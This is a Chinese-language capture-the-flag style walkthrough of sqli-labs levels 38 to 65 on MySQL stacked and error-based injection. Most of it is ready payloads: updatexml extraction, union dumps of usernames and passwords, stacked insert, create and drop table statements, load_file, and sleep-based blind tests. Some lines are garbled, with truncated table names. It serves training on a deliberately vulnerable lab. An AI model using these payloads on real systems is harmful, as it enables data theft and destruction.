堆叠注入:将语句堆叠在一起,使用分号隔开;
堆叠注入在mysql数据库中的使用:
select * from users where id=1;create table test like users; //新建表select * from users where id=1;drop table test; //删除表select * from users where id=1;select 1,2,3; //查询数据select * from users where id=1;select load_file('c:/tmpupbbn.php'); //加载文件select * from users where id=1;insert into users(id,username,password) values ('100','new','new'); //修改文件
sql
语句的闭合方式为单引号。/?id=1' and updatexml(1,concat(0x7e,(database())),1)--+?id=-1' or updatexml(1,concat(0x7e,( select table_name from information_schema.tables where table_schema='security' limit 0,1 )),1) --+?id=-1' or updatexml(1,concat(0x7e,( select column_name from lumns where table_name='emails' limit 0,1 )),1) --+?id=-1' or updatexml(1,concat(0x7e,( select id ails limit 0,1)),1) --+
使用堆叠注入来创建、删除表
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+id=-1' union select 1,2,group_concat(concat_ws(0x7e,id,username,password)) from security.users--+ // 使用联合注入来验证
?id=1';create table crow like users--+ //创建表//验证
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+?id=1' ;drop table crow--+ //删除表
与38关解题思路相同,唯一的区别在于本关为整数型注入,无包裹。
多次测试后,得到闭合方式为')
与38
关相同的堆叠注入的思路
思路与40
关相同,区别在于本关为整数型注入,无包裹。
POST
。burp
抓包进行测试,发现password
处为注入点,且闭合方式为单引号。1' and updatexml(1,concat(0x7e,(database())),1)--+-1' or updatexml(1,concat(0x7e,( select table_name from information_schema.tables where table_schema='security' limit 0,1 )),1) --+-1' or updatexml(1,concat(0x7e,( select column_name from lumns where table_name='emails' limit 0,1 )),1) --+-1' or updatexml(1,concat(0x7e,( select id ails limit 0,1)),1) --+
与42
关思路相同,唯一的区别在于本关的闭合方式为')
POST
。1 or 1=1--+
1' or 1=1--+
1" or 1=1--+
1') or 1=1--+
1") or 1=1--+
a';create table test like users#a';insert into users values(18,'icepeak','icepeak')#
与44
关注入思路相同,唯一的区别在于本关闭合方式为')
。
查看题目页面提示传入sort
参数,尝试使sort=1
sort=2
sort=3
sort=4
时提示不存在第四列,我们发现sort
等于几时则按第几列的升序排列
?sort=3' //判断为数字型注入
分析源码,我们发现前面都是使用get
传参传入id
值,而在这关中传入的是sort
值。
select * from users order by 1 desc; 使用降序进行排列
select * from users order by 1 asc;使用升序进行排列
由于题目中只给了报错信息,我们可以尝试报错注入。
?sort=1 and updatexml(1,concat(0x7e,(database())),1)--+?sort=-1 or updatexml(1,concat(0x7e,( select table_name from information_schema.tables where table_schema='security' limit 0,1 )),1) --+?sort=-1 or updatexml(1,concat(0x7e,( select column_name from lumns where table_name='emails' limit 0,1 )),1) --+?sort=-1 or updatexml(1,concat(0x7e,( select id ails limit 0,1)),1) --+
?sort=1 and if(length(database())=8,1,sleep(10)) --+
本关注入思路与46
关相同,唯一区别在于闭合方式为单引号。
查看题目提示,经测试无包裹且无报错回显,则使用时间盲注。
与38关注入思路相同,区别在于本关的闭合方式为单引号。
查看题目提示,本关无包裹。
?sort=1;insert into users(id,username,password) values(50,'Less50','Less50')--+
?sort=1 and updatexml(1,concat(0x7e,(database())),1)--+?sort=-1 or updatexml(1,concat(0x7e,( select table_name from information_schema.tables where table_schema='security' limit 0,1 )),1) --+?sort=-1 or updatexml(1,concat(0x7e,( select column_name from lumns where table_name='emails' limit 0,1 )),1) --+?sort=-1 or updatexml(1,concat(0x7e,( select id ails limit 0,1)),1) --+
注入思路与50关相同,唯一的区别在于本关闭合方式为单引号。
无包裹,使用盲注或堆叠注入。
与52
关的唯一区别是本关闭合方式为单引号。
查看题目页面有次数限制,尝试五次以内即可测出闭合方式为单引号,后续使用联合注入即可爆出库名、表名、字段、字段中的值。
无包裹,与54
关相同,使用联合注入即可。
闭合方式为')
闭合方式为"
测试闭合方式为单引号,联合注入不成功,则尝试报错注入发现可行。
数字型注入,无包裹
闭合方式为")
闭合方式为'))
闭合方式为')
,基于时间的盲注
闭合方式为'
闭合方式为))
闭合方式为")
本文发布于:2024-01-28 10:41:02,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/17064096666841.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |